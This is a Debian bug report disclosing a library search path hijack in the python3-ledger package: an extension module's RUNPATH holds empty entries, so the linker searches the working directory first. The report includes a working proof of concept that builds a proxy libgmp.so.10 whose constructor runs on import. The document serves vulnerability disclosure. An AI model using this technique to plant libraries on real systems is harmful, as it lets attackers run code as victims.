Package: python3-ledger
Version: 3.4.0-1+b1
Severity: important
Tags: security

*Summary:*

The python3-ledger Debian package installs the Python extension module:
/usr/lib/python3/dist-packages/ledger.cpython-313-aarch64-linux-gnu.so

This library contains a RUNPATH consisting entirely of empty path elements:

RUNPATH [:::::::::::::::]

Empty entries in an ELF RUNPATH are interpreted by the dynamic linker as
the current working directory (CWD). As a result, when
ledger.cpython-313-aarch64-linux-gnu.so resolves its dependencies, the
dynamic linker searches the process working directory before falling back
to the system library paths.

This permits library search path hijacking if an attacker can place a
malicious shared library in a directory from which a victim executes
software that imports the ledger module.

*Impact:*

An attacker can cause execution of attacker-controlled code in the security
context of the user running the affected application.

Since python3-ledger provides Python bindings, a victim might execute a
Python script from a directory (such as a downloaded dataset, extracted
archive, shared workspace, or /tmp) that contains an attacker-controlled
shared library. If this occurs, the malicious library will be loaded and
executed before the legitimate system library.

This issue falls under CWE-427 (Uncontrolled Search Path Element).

*Proof of Concept:*

*1. Create an attacker-controlled workspace:*

$ mkdir -p /tmp/malicious_workspace
$ cd /tmp/malicious_workspace

*2. Create the malicious payload:*

$ cat << 'EOF' > poc_ledger.c
#include <stdio.h>
#include <stdlib.h>

__attribute__((constructor))
void exploit() {
    printf("\n[!!!] LEDGER HIJACK SUCCESSFUL [!!!]\n");
    exit(0);
}
EOF

*3. Create a dummy version map to satisfy dependency version requirements:*

$ cat << 'EOF' > versions.map
GLIBC_2.17 { };
GLIBC_2.32 { };
EOF

*4. Build a proxy libgmp.so.10 library using DT_AUXILIARY so normal symbol
resolution continues:*

$ gcc -shared -fPIC poc_ledger.c \
    -o libgmp.so.10 \
    -Wl,-f,/usr/lib/aarch64-linux-gnu/libgmp.so.10 \
    -Wl,--version-script=versions.map

*5. Create a Python script that imports the vulnerable library:*

$ cat << 'EOF' > trigger.py
import ledger
print("ledger imported successfully!")
EOF

*6. Execute the trigger from the malicious directory:*

$ python3 trigger.py


*Result:*
[!!!] LEDGER HIJACK SUCCESSFUL [!!!]

*Expected Fix:*

The package should not ship binaries containing empty path elements in
their RUNPATH. The RUNPATH entry should be removed or replaced with an
explicit trusted library path.

Reply via email to